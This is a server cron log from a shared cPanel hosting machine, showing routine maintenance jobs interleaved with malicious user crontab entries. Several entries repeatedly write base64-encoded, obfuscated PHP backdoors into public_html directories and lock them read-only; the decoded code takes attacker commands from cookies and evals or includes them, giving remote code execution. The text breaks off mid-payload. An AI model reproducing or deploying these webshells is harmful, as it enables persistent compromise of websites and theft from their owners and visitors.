Jun  7 11:25:02 medusa CROND[18947]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18945]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:25:02 medusa CROND[18952]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:25:02 medusa CROND[18958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:25:02 medusa CROND[18962]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:25:02 medusa CROND[18963]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18965]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:25:02 medusa CROND[18966]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18967]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:25:02 medusa CROND[18968]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:25:02 medusa CROND[18972]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:25:02 medusa CROND[18969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:25:02 medusa CROND[18979]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:25:02 medusa CROND[18980]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:25:02 medusa CROND[18977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:26:02 medusa CROND[20831]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:26:02 medusa CROND[20832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:26:02 medusa CROND[20833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:26:02 medusa CROND[20834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:26:02 medusa CROND[20835]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:26:02 medusa CROND[20836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:26:02 medusa CROND[20837]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:26:02 medusa CROND[20839]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:26:02 medusa CROND[20840]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:26:02 medusa CROND[20841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:26:02 medusa CROND[20844]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:26:02 medusa CROND[20846]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:26:02 medusa CROND[20853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:26:02 medusa CROND[20866]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:27:02 medusa CROND[22375]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW